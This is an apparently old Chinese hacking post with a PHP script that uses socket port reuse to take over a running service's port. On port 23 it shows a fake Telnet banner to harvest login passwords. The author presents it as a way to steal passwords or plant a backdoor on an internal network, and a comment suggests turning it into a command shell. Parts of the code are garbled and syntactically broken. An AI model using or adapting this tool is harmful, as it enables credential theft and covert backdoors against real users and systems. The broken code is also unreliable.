假如監(jiān)聽127.0.0.1 ,訪問共網(wǎng)IP不受影響，假如監(jiān)聽公網(wǎng)IP，127。0。0。1等IP不受影響。這個可以用于欺騙用戶密碼，因為原來的服務不可用了。或者留成針對內(nèi)網(wǎng)用戶的后門。最后歡迎加MSN：CQXY[AT]21CN。NET賜教。#!/usr/bin/php -q#c0dz by Darkness[BST]#Team:www.bugkidz.org#E-mail:cqxy[at]21cn.netif ($argc != 3 || in_array($argc[1] , array('--help','-h','?'))){echo 'Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21rn';echo 'c0dz By Darkness[BST]';exit;}error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];$port = $argv[2];if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {echo 'socket_create() failed: reason: ' . socket_strerror($sock) . 'n';} /*建立SOCKET*/socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*設置SOCKET連接的屬性為SO_REUSEADDR,這樣才可以端口復用*/if (($ret = socket_bind($sock, $host, $port)) < 0) {echo 'socket_bind() failed: reason: ' . socket_strerror($ret) . 'n';}/*綁定端口*/

if (($ret = socket_listen($sock, 5)) < 0) {echo 'socket_listen() failed: reason: ' . socket_strerror($ret) . 'n';} /*開始監(jiān)聽*/

while(true) {

if (($sniffer = socket_accept($sock)) < 0) {echo 'socket_accept() failed: reason: ' . socket_strerror($sniffer) . 'n';break;}if ($port == 23){$txt = 'Welcome to the Telnet Serverrn';$txt .='User:rn';socket_write($sniffer, $txt, strlen($txt));} /*這里是偽裝信息，把自己偽裝成原來的TELNET服務器，這樣來騙取密碼*/

while(true) {

if(($buf _read($sniffer'>=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false){

break;

}

if (!$buf = trim($buf)) {continue;}

if ($buf == '!quit') {break;}if ($buf == '!shutdown') {socket_close($sniffer);break 2; /*其實這里可以調(diào)用system()，搞成一個CMD后門，反正你想怎么改都可以*/}

$sniff_data = '$bufrn';

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/echo $sniff_data;/*輸出字符串,這里可以加進文件處理,保存密碼什么的*/} socket_close($sniffer);

}socket_close($resock);socket_close($sock);?>